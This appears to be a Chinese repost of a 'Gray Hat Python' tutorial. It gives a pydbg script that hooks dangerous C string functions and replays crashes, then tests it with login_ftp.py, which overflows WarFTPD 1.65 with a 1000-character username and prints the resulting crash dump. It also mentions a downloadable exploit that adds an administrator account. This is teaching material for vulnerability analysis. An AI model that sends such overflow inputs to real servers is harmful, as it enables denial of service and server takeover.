转自《python灰帽子》第4章
目标:监控危险函数的每次调用,并摄取快照。若出现非法内存访问,恢复到最近一次危险函数调用点,单步执行,重现非法内存访问。(前面三个例子的综合)
danger_track.py
from pydbg import *
from pydbg.defines import *
import utils
MAX_INST = 10
dangerous_functions = {
"strcpy": "msvcrt.dll",
"strncpy": "msvcrt.dll",
"sprintf": "msvcrt.dll",
"vsprintf": "msvcrt.dll",
}
dangerous_functions_resolved = {}
crash_encounterd = False
inst_count = 0
def danger_handler(dbg):
#print the date int the function stack
esp_offset = 0
print "[*] Hit %s" % dangerous_functions_resolved[dbg.context.Eip]
while esp_offset <= 20:
parameter = dbg.smart_dereference(dbg.context.Esp+esp_offset)
print "[Esp + %d] => %s" % (esp_offset, parameter)
esp_offset += 4
print "=================================="
dbg.suspend_all_threads()
dbg.process_snapshot()
dbg.resume_all_threads()
return DBG_CONTINUE
def access_violation_handler(dbg):
global crash_encounterd
# We skip first-chance exceptions
if dbg.dbg.u.Exception.dwFirstChance:
return DBG_EXCEPTION_NOT_HANDLED
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
print crash_bin.crash_synopsis()
if crash_encounterd == False:
dbg.suspend_all_threads()
dbg.process_restore()
crash_encounterd = True
#set every thread as single step
for thread_id in dbg.enumerate_threads():
print "[*] Setting single step for thread: 0x%08x" % thread_id
h_thread = dbg.open_thread(thread_id)
dbg.single_step(True, h_thread)
dbg.close_handle(h_thread)
dbg.resume_all_threads()
return DBG_CONTINUE
else:
dbg.terminate_process()
return DBG_EXCEPTION_NOT_HANDLED
def single_step_handler(dbg):
global inst_count
global crash_encounterd
if crash_encounterd:
if inst_count == MAX_INST:
dbg.single_step(False)
return DBG_CONTINUE
else:
#disassemble the next inst
inst = dbg.disasm(dbg.context.Eip)
print "#%d\t0x%08x: %s" % (inst_count, dbg.context.Eip, inst)
return DBG_CONTINUE
pid = raw_input("Enter the Process ID: ")
dbg = pydbg()
dbg.attach(int(pid))
for func in dangerous_functions.keys():
func_address = dbg.func_resolve(dangerous_functions[func],func)
print "[*] Resolved breakpoint: %s -> 0x%08x" % (func, func_address)
dbg.bp_set(func_address, handler=danger_handler) # set breakpoint
dangerous_functions_resolved[func_address] = func
dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,access_violation_handler)
dbg.set_callback(EXCEPTION_SINGLE_STEP, single_step_handler)
dbg.run()
以ftp服务器warftpd1.65为例子进行测试,该程序存在用户名溢出漏洞,因为没有对登录用户名长度进行检查,通过精心构造用户名,可以导致非法内存访问。
这里给出了利用这个漏洞的方法,在shellcode中实现了添加一个管理权限帐户的功能。
安装并启动该服务器
运行脚本danger_track.py,输入进程pid附加调试器到ftp服务器上
在 控制台里运行下面脚本:python login_ftp.py
login_ftp.py (构造一个长度为1000字符全为'A'的用户名登录ftp服务器)
# -*- coding: cp936 -*-
from ftplib import FTP
ftp = FTP()
timeout = 60
port = 21
ftp.connect('127.0.0.1',port,timeout) # 连接FTP服务器
username = 'A'*1000
ftp.login(username,'') # 登录
##print ftp.getwelcome() # 获得欢迎信息
##list = ftp.nlst() # 获得目录列表
##for name in list:
## print(name) # 打印文件名字
ftp.quit() # 退出FTP服务器
然后调试器脚本就会输出下面的崩溃信息:
……
#0 0x77c0f933: push ebp
[INVALID]:41414141 Unable to disassemble at 41414141 from thread 1352 caused access violation
when attempting to read from 0x41414141
CONTEXT DUMP
EIP: 41414141 Unable to disassemble at 41414141
EAX: 00000000 ( 0) -> N/A
EBX: 00000000 ( 0) -> N/A
ECX: 41414141 (1094795585) -> N/A
EDX: 7c9237d8 (2089957336) -> N/A
EDI: 00000000 ( 0) -> N/A
ESI: 00000000 ( 0) -> N/A
EBP: 00f0ce68 ( 15781480) -> 7|0LAAAA0`x|0LAAAA0,]\|GHm|xHxxGs#|Hx8|L0LAAAAAAAA? (heap)
ESP: 00f0ce48 ( 15781448) -> 7|0L,7|7|0LAAAA0`x|0LAAAA0,]\|GHm|xHxxGs#|Hx8|L0LAAAA (heap)
+00: 7c9237bf (2089957311) -> N/A
+04: 00f0cf30 ( 15781680) -> AAAAAAAA?@y&Z(ppppeH8x???;##7|AAAA8AAAAF#@y&Z( (heap)
+08: 00f0fda4 ( 15793572) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
+0c: 00f0cf4c ( 15781708) -> ?@y&Z(ppppeH8x???;##7|AAAA8AAAAF#@y&Z(pppp (heap)
+10: 00f0cf04 ( 15781636) -> 8|L0LAAAAAAAA?@y&Z(ppppeH8x???;##7|AAAA8 (heap)
+14: 00f0d22c ( 15782444) -> 7|7|AAAA`x|AAAA|AAAAAAAA? (stack)
disasm around:
0x41414141 Unable to disassemble
SEH unwind:
00f0d22c -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0d5fc -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0d9cc -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0dd9c -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0e16c -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0e53c -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0e90c -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0ecdc -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0f0ac -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0f6cc -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0fa88 -> ntdll.dll:7c92ee18 push ebp
00f0fda4 -> USER32.dll:77d40494 push ebp
41414141 -> [INVALID]:41414141 Unable to disassemble at 41414141
ffffffff -> [INVALID]:ffffffff Unable to disassemble at ffffffff
包括warftp-1.65、python脚本和漏洞利用程序的打包下载